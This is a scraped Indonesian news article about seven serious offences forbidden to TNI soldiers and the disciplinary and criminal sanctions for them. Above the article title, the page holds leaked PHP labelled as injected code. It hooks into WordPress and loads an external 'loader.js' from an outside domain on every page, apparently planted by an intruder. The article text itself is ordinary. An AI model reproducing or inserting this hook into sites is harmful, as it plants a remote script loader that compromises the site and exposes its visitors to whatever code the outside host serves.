// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Prajurit TNI Diharap Hindari 7 Pelanggaran Berat, Sanksi Menanti – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
BerandaHukum dan KriminalTNI Dan Polri

Prajurit TNI Diharap Hindari 7 Pelanggaran Berat, Sanksi Menanti

19
×

Prajurit TNI Diharap Hindari 7 Pelanggaran Berat, Sanksi Menanti

Sebarkan artikel ini
Prajurit TNI Diharap Hindari 7 Pelanggaran Berat, Sanksi Menanti

Fakta Terkini || www.fakta-terkini.com, Jakarta, 3 0 Juni 2025,

Indonesia adalah negara hukum, dan hal tersebut tercantum dalam Pasal 1 ayat (3) Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 (UUD NRI 1945). Pasal ini menegaskan bahwa “Negara Indonesia adalah negara hukum”.

Example 300x600

Begitu juga penindakannya tidak memandang bulu, semua sama , setara dan sejajar dimata hukum, siapa yang salah akan ditindak sesuai hukum yang berlaku.

Tak beda hanya anggota TNI  (Tentara Nasional Indonesia) lebih mengedepankan moral di dalam setiap tindakannya.  TNI  (Tentara Nasional Indonesia) melarang anggotanya hidup bersama pasangan di luar nikah alias kumpul kebo.

Sesuai dengan Surat Telegram Pangdam I/BB Nomor STR/25/2007 tanggal 27 Januari 2007, Pangdam I/BB memerintahkan pada segenap prajurit untuk menghindari 7 pelanggaran berat tersebut sebagai berikut :

  1. Penyalahgunaan Senpi dan Muhandak.
  2. Penyalahgunaan Narkoba baik sebagai pengedar maupun pengguna.
  3. Desersi dan insubordinasi.
  4. Perkelahian baik perorangan maupun kelompok dengan rakyat, antar anggota TNI dan Polri.
  5. Pelanggaran susila terutama dengan keluarga TNI.
  6. Penipuan, perampokan dan pencurian.
  7. Perjudian, backing, illegal logging dan illegal mining.

Pelanggaran 7 (tujuh) pelanggaran berat oleh anggota TNI akan dikenai sanksi berat, termasuk hukuman pidana dan/atau pemberhentian tidak hormat (pemecatan). Hukuman disiplin militer juga dapat dikenakan, seperti teguran, penahanan disiplin ringan, atau penahanan disiplin berat.

Seperti halnya tindakan perzinahan yang dilakukan oleh anggota TNI  sanksi disiplin militer dan pemecatan dari kesatuan dapat juga dijerat dalam Pasal 284 KUHP (Kitab Undang-Undang Hukum Pidana) yang juga berlaku bagi masyarakat sipil.

[Bhr]

 

 

 

 

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *